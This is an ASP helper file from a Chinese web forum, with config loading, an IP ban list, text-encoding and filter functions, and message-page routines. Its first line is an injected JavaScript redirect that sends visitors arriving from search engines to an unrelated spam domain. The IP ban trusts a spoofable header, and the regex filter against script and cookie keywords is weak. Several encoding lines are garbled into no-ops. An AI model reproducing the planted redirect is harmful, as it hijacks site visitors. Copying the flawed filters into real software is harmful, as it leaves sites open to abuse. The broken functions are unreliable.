d:\wwwroot\wuchunhua\function.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!-- #include file="conn.asp" -->
<%
002:
dim action
003:
action=Request.Form("action")
004:
if action = empty then action = Request("action")
005:
set rs=server.createobject("ADODB.Recordset")
006:
sql="select * FROM forumconfig"
007:
rs.open sql,conn,1,1
008:
forumname=rs("forumname")
009:
perpage=rs("perpage")
010:
wmhtmlkzn=rs("wmhtmlkzn")
011:
badwords=rs("badwords")'不良词用|分开
012:
badip=rs("badip")'禁止的IP用|分开
013:
adduseryn=rs("adduseryn")
014:
contentlen=rs("contentlen")
015:
PostTime=rs("PostTime")
016:
RegTime=rs("RegTime")
017:
ifmodifytime=rs("ifmodifytime")
018:
rs.Close
019:
set rs=nothing
020:
021:
if Request.ServerVariables("HTTP_X_FORWARDED_FOR")=empty then
022:
remoteaddr=Request.ServerVariables("REMOTE_ADDR")
023:
else
024:
remoteaddr=Request.ServerVariables("HTTP_X_FORWARDED_FOR")
025:
end if
026:
027:
if badip<>empty then
028:
filtrate=split(badip,"|")
029:
for i = 0 to ubound(filtrate)
030:
if instr("|"&remoteaddr&"","|"&filtrate(i)&"") > 0 then error("<li>你的IP被禁止查看本论坛")
031:
next
032:
end if
033:
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
034:
Function ReplaceText(fString,patrn, replStr)
035:
Set regEx = New RegExp ' 建立正则表达式。
036:
regEx.Pattern = patrn ' 设置模式。
037:
regEx.IgnoreCase = True ' 设置是否区分大小写。
038:
regEx.Global = True ' 设置全局可用性。
039:
ReplaceText = regEx.Replace(fString, replStr) ' 作替换。
040:
End Function
041:
function HTMLEncode(fString)
042:
fString=replace(fString,";",";")
043:
fString=replace(fString,"<","<")
044:
fString=replace(fString,">",">")
045:
fString=replace(fString,"\","\")
046:
fString=replace(fString,"--","--")
047:
fString=replace(fString,"'","'")
048:
fString=replace(fString,CHR(9)," ") 'table
049:
fString=replace(fString,CHR(32)," ")
050:
fString=replace(fString,CHR(34),""")
051:
fString=replace(fString,vbCrlf,"<br>")
052:
HTMLEncode=fString
053:
end function
054:
function ContentEncode(fString)
055:
056:
'fString=replace(fString,vbCrlf, "")
057:
fString=replace(fString,"\","\")
058:
fString=replace(fString,"'","'")
059:
fString=ReplaceText(fString,"<(.[^>]*)(&#|cookie|window.|Document.|javascript:|js:|vbs:|about:|file:|on(blur|click|change|Exit|error|focus|finish|key|load|mouse))", "<$1$2$3")
060:
fString=ReplaceText(fString,"<(\/|)(iframe|object|SCRIPT|form|style|meta)", "<$1$2")
061:
ContentEncode=fString
062:
end function
063:
064:
sub error(message)
065:
%
><script>alert('
<%
=message
%
>');history.back();</script><script>window.close();</script>
066:
<%
067:
responseend
068:
end sub
069:
070:
sub responseend
071:
set rs=nothing
072:
set rs1=nothing
073:
set conn=nothing
074:
Response.End
075:
end sub
076:
077:
Function Lenc(num1,num2) '获得num1比num2长出的位数
078:
Dim n1,n2,n
079:
Dim str1,str2
080:
str1="abc"
081:
str2="abc"
082:
'On Error Resume Next
083:
084:
n=Instr(1,num1,".")
085:
If n=0 then
086:
n1=0
087:
Else
088:
n1=Len(num1)-n
089:
End If
090:
091:
n=Instr(1,num2,".")
092:
If n=0 then
093:
n2=0
094:
Else
095:
n2=Len(num2)-n
096:
End If
097:
098:
Lenc=n1-n2
099:
If Lenc<0 then
100:
Lenc=0
101:
End If
102:
Lenc=fix(Lenc/2)
103:
End Function
104:
Function Cnum(str) '强制转换为整数
105:
If isnumeric(str)=false then
106:
Cnum=0
107:
Else
108:
Cnum=clng(str)
109:
End If
110:
End Function
111:
112:
Function mint(str) '取大于或等于此数的最小整数
113:
If str-fix(str)<>0 then
114:
mint=fix(str)+1
115:
Else
116:
mint=fix(str)
117:
End If
118:
End Function
119:
120:
sub succeed(message)
121:
%
>
122:
<html>
123:
124:
<head>
125:
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
126:
<title>系统信息</title>
127:
<link href="images/css.css" rel="stylesheet" type="text/css">
128:
</head>
129:
130:
<body>
131:
132:
<table border="0" width="60%" cellspacing="1" cellpadding="3" bgcolor="#C0C0C0" align="center">
133:
<tr>
134:
<td bgcolor="#FFFFFF">
<%
=message
%
></td>
135:
</tr>
136:
</table>
137:
138:
</body>
139:
140:
</html>
141:
<%
142:
Response.End
143:
end sub
144:
%
>
145:
146: